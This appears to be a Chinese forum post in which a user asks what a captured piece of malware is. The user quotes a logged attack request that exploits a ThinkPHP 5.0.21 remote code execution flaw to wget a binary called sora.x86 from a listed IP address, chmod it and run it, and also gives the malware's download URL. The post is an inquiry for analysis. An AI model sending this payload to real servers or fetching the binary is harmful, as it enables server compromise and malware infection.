一起来分析下这个是啥病毒？

This topic created in 1862 days ago, the information mentioned may be changed or developed.

http://5.182.210.129/bins/

http://5.182.210.129/bins/sora.x86 请不要点击执行。

"GET /thinkphp_5.0.21/?s=index/%5Cthink%5Capp/invokefunction

&function=call_user_func_array
&vars[0]=system
&vars[1][]=cd%20/tmp;

wget%20http://5.182.210.129/bins/sora.x86;
cat%20sora.x86%20%3E%20xdsf;
chmod%20777%20xdsf;
./xdsf%20
thinkphp HTTP/1.0",

这种是全网试么？利用 thinkPhp 漏洞，远程执行代码？

问题来了，这个 exe sora.x86 里面究竟是什么？

5 replies • 2021-09-28 10:17:32 +08:00